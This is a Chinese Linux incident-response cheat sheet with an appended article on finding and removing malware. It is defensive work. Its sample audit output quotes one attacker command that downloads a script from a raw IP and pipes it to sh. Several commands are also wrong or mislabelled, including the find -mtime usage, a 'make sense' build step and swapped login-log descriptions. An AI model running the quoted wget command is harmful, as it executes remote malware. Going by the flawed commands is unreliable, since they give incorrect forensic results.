一、系统排查
1. 系统信息查询
lscpu --- 查看cpu信息
uname -a --- 查看OS信息
lsmod --- 查看模块信息
2.用户信息查询
cat /etc/passwd 显示 bin/bash 表示账号状态可登录
显示sbin/nologin 表面账户不可登录
配合grep 可以查看可以登录的用户
cat /etc/passwd |grep -E "/bin/bash$"
----------------------------------------------------------------------------------
awk -F: '{if($3==0)print $1}' /etc/passwd
查询可登录账户UID为0的账户,也就是root用户。
注: awk是用于处理文本文件相关数据,F指定分隔符, $N代表第N列。
以:为分隔符,如果第3列为0 ,则打印第1列的信息
$0 代表整个文本行;
$N 代表文本行中的第 N 个数据字段;
-----------------------------------------------------------------------------------
lastb 查看用户错误的登录信息
lastlog 查看所有用户最后的登录信息
last 查看用户最近登录信息
who 查看当前用户登录系统信息
awk -F: 'length($2)==0 {print $1}' /etc/shadow
查看空口令账户:第2列长度为0,则密码为空
-----------------------------------------------
3.启动项排查
cat /etc/init.d/rc.local 查看init.d文件夹下的rc.local文件内容
cat /etc/rc.local
ls -alt /etc/init.d
4.检查任务计划
crontab -l 查看当前的任务计划
crontab -u root -l 查看root 用户的任务计划
ls /etc/cron* 使用正则的*筛选出cron开头的文件
二.进程排查
1. 分析可疑端口及进程
netstat -antlp |more 查看监听的服务
ls -alt /proc/PID 查看指定PID的可执行文件
lsof -p PID 查看进程打开的文件
ps aux 检查进程
-------------------------------------------------------
如果是恶意代码,需要处置
kill -9 PID 结束恶意进程
rm -rf filename 删除恶意文件
注解:如果root无法删除文件,则可能该文件被加了i属性,使用
lsattr filename 查看文件属性
chattr -i filename 移除文件的i属性
2. 对于隐藏进程的排查
ps -ef| awk '{print}' |sort -n|uniq >1
ls /proc |sort -n|uniq >2
diff 1 2
三、服务排查
chkconfig --list 查看系统中运行的服务
1 --- 表示单用户模式
2--- 表示无网络连接的多用户命令行模式
3--- 表示有网络连接的多用户命令行模式
4--- 表示不可用
5 --- 表示带图形界面的多用户模式
6 --- 表示重新启动
service --status-all 查看所有服务的状态。
四、文件痕迹排查
1. 敏感目录
/tmp目录和命令目录 /usr/bin/ /user/sbin
~/.ssh 和 /etc/ssh经常作为一些后门配置的路径
2. 时间点查询
通过列出攻击日期内变动的文件,发现相关的恶意文件。
find命令
find / -ctime 0 -name "*sh"
查找一天内新增的sh文件
在查看指定目录时,也可以对文件时间进行排序,比如:
ls命令
ls -alt | head -n 10 --- 查看排序后前10行的内容 【对于时间点的查找】
stat命令
stat commandi.php --- 查询文件的时间信息
3. 特殊文件
恶意文件存在特定的设置、特定的关键字信息。
查找隐藏的恶意文件
ls -ar |grep "^\." .代表当前目录, ..代表上一级目录
特殊权限文件排查:查找777权限的文件。
find /tmp -perm 777
find . *.txt -perm 777
Webshell查找:通过分析文件、流量、日志,基于文件的命名特征和内容特征。
find /var/www/ -name "*.php"| xargs egrep
系统文件排查:
ls -alt /bin 查看命令目录下相关系统命令的修改时间
rpm -Va 查看发生过变化的软件包
ls -alh /bin 查看相关文件的大小,如果明显偏大,则文件可能被替换
Linux后门检测:(chkrootkit和rkhunter均需要下载安装)
chkrootkit 用来检测rootkit是否被安装到当前系统中
chkrootkit -q |grep INFECTED --- 检测并筛选出存在infected内容
rkhunter进行命令Binary检测,包括MD5校验、rootkit检测、本机敏感目录检测、系统配置检测、服务及套件异常检测、第三方应用版本检测等。
rkhunter --check
排查SUID程序:
对于一些设置了SUID权限的程序进行排查,可以使用find命令
find / -type f -perm -04000 -ls -uid 0 2>/dev/null
五、日志分析
日志一般放在目录 /var/log/ 下面,具备包括:
/var/log/wtmp --- 记录登录进入、退出、数据交换、关机及重启。
/var/log/cron --- 记录有定时任务相关的日志
/var/log/messsages --- 记录系统启动后的信息和错误日志
/var/log/apache2/access.log --- 记录Apache的访问日志
/var/log/auth.log --- 记录系统授权信息,包括用户登录和使用的权限机制等。
/var/log/userlog --- 记录所有等级用户信息的日志
/var/log/xferlog(vsftpd.log) --- 记录Linux FTP日志
/var/log/lastlog --- 记录登录的用户,可使用命令 lastlog
/var/log/secure --- 记录大多数应用输入的账号和密码,以及登录是否成功信息
/var/log/faillog --- 记录登录系统不成功的账号信息
使用cat可以查看相关日志
ls -alt /var/spool/mail 查看邮件相关日志记录文件
cat /var/spool/mail/root 可以发现相关的攻击行为
日志分析命令
grep sed sort awk
常用的日志命令及功能如下:
tail -n 10 test.log --- 查询最后10行的日志
tail -n +10 test.log --- 查询10行之后的所有日志
head -n 10 test.log --- 查询头10行的日志
head -n -10 test.log --- 查询除了最后10行的其他所有日志
在*.log日志文件中统计独立IP地址的个数的命令
awk '{print $1}' test.log |sort |uniq |wc -l
awk '{print $1}' /access.log |sort |uniq -c |sort -nr|head -10
查找指定时间段的日志
sed -n'/2014-12-17 16:22:31/,/2014-12-18 23:10:12/p' test.log
grep '2014-12-17 16:22:32' test.log
定位有多少IP地址暴力破解主机root账号的命令
cat /var/log/secure |awk '/Accepted/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'
(CentOS)
查看登录成功的IP地址的命令
cat /var/log/auto.log |awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"='$1;}'
(ubuntu)
查看登录成功日期、用户名、IP地址的命令
grep “Accetped” /var/log/secure |awk '{print $1,$2,$3,$9,$11}'
其他系统的日志:
Apache 日志:
/var/log/httpd/access.log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd-access.log
Ngnix日志:
/usr/local/nginx/logs
access.log ---访问日志 error.log ---错误日志
Tomcat日志
默认在TOMCAT_HOME/logs/目录下
数据库日志
Oracle : 查询日志路径 select * from v$logfile
查询之前使用过的的sql select * from v$sql
Mysql: show variables like 'log_%' --- 查看是否启用日志
默认路径在 /var/log/mysql
show variables like 'general'
六、内存分析
Volatility 开源内存取证工具
七、流量分析
一般工具: PCHunter、 Process Monitor
数据包过滤分析: Wireshark
八、威胁情报
威胁情报金字塔:David J. Bianco <The Pyramid of Pain>
包括文件Hash值、IP地址、域名、网络或者主机特征、攻击工具和TTPs(Tactics、Techniques and Procedures)
相对来说,工具、技术层面的威胁情报成本相对较高。
IOC(Indicator of Compromise)通常指在检测或者取证中,具有高置信度的威胁对象或特征信息。在应急响应中,威胁情报
平台查询到的信息一般都属于 IOC.
勒索病毒
无C2服务器加密技术:
在加密前先随机生成新的加密密钥对(非对称公,私钥)
使用新生成的公钥对文件进行加密
采用攻击者预埋的公钥把新生成的私钥进行加密,保存于一个ID文件中或嵌入加密文件
无C2服务器解密技术: ·
通过邮件和在线提交的方法,提交ID串或加密文件中的加密私钥(一般攻击者会提取该私钥)
·攻击者使用保留的与预埋公钥对应的私钥 解密受害者提交过来的私钥
·把解密私钥或解密工具交付给受害者进行解密
挖矿木马
netstat -anpt 查看进程
ls -alh /proc/PID
kill -9 PID
rm -rf filename
----------------------------------------------------------------------------------------------------
附一篇应急响应的文章
Linux环境下处理应急响应事件往往会更加的棘手,因为相比于Windows,Linux没有像Autorun、procexp这样的应急响应利器,也没有统一的应急响应处理流程。所以,这篇文章将会对Linux环境下的应急响应流程进行讲解,并且提供每一个环节中所用到的shell命令,以帮助大家快速、系统化地处理Linux环境下的病毒。
处理Linux应急响应主要分为这4个环节:
识别现象->清除病毒->闭环兜底->系统加固
首先从用户场景的主机异常现象出发,先识别出病毒的可疑现象。
然后定位到具体的病毒进程以及病毒文件,进行清除。
完成前2步还不够,病毒一般会通过一些自启动项及守护程序进行重复感染,所以我们要执行闭环兜底确保病毒不再被创建。
将主机上的病毒项清除干净后,最后就是进行系统加固了,防止病毒从Web再次入侵进来。
走完这4个环节,才能算是一个应急响应流程的结束。
01 识别现象
第1个环节要求我们通过系统运行状态、安全设备告警,发现主机异常现象,以及确认病毒的可疑行为。
系统CPU是否异常
枚举进程,CPU降序排序:top
CPU占用率超过70%且名字比较可疑的进程,大概率就是挖矿病毒了。
是否存在可疑进程
枚举进程命令行:ps -aux
病毒一般都携带可疑的命令行,当你发现命令行中带有url等奇怪的字符串时,就要注意了,它很可能是个病毒downloader。
安全网关有无报警
从安全网关报警中识别出威胁是最直接,但确认主机已经感染了病毒只是第一步,接下来得定位,具体是哪个进程在与C&C通信。
监控与目标IP通信的进程:
while true; do netstat -antp | grep [ip]; done
有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控。
我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。
这样就能得到与之通信的恶意进程了。
有无可疑历史命令
遍历主机历史命令,查找有无恶意命令:history
02 清除病毒
从第1个环节追溯到的进程信息,将会帮助我们定位到病毒进程&病毒文件,实现清除。
结束病毒进程
清除可疑进程的进程链:
ps -elf | grep [pid]
kill -9 [pid]
删除病毒文件
定位病毒进程对应的文件路径:
ls -al /proc/[pid]/exe
rm -f [exe_path]
03 闭环兜底
检查是否存在可疑定时任务
枚举定时任务:
crontab -l
查看anacron异步定时任务:
cat /etc/anacrontab
检查是否存在可疑服务
枚举主机所有服务,查看是否有恶意服务:
service --status-all
检查系统文件是否被劫持
枚举系统文件夹的文件,按修改事件排序查看7天内被修改过的文件:
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
检查是否存在病毒守护进程
监控守护进程的行为:
lsof -p [pid]
strace -tt -T -e trace=all -p $pid
扫描是否存在恶意驱动
枚举/扫描系统驱动:lsmod
安装chkrootkit 进行扫描:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cd chkrootkit-0.52
make sense
./chkrootkit
安装rkhunter 进行扫描:
Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar -zxvf rkhunter-1.4.4.tar.gz
cd rkhunter-1.4.4
./installer.sh --install
rkhunter -c
04 系统加固
最后一个环节往往是大家比较容易遗忘的,Linux平台下90%的病毒是通过网络传播感染的,所以,你的主机之所以会感染病毒,大部分原因也是因为Web安全防护不够,赶紧检查一下。
修改SSH弱密码
查询log主机登陆日志:
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
定位有爆破的源IP:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破日志的用户名密码:
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
SSH爆破是Linux病毒最常用的传播手段,若存在弱密码的主机很容易被其他感染主机SSH爆破成功,从而再次感染病毒。
添加命令审计
为历史的命令增加登录的IP地址、执行命令时间等信息:
保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
让配置生效:
source /etc/profile
生成效果:
76 2019-10-28 17:05:34 113.110.229.230 wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
打上常见Web漏洞补丁
structs2系列RCE漏洞
thinkphp5.X RCE漏洞
Redis未授权访问漏洞
Confluence RCE漏洞(CVE_2019_3396)
Drupal RCE漏洞(CVE-2018-7600)
ThinkPHP RCE漏洞(CVE-2019-9082)
结尾
Linux平台下的恶意软件威胁以僵尸网络蠕虫和挖矿病毒为主,由于Linux大多作为服务器暴露在公网,且Web应用的漏洞层出不穷,所以很容易被大范围入侵,如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要养成不使用弱密码、勤打补丁的好习惯。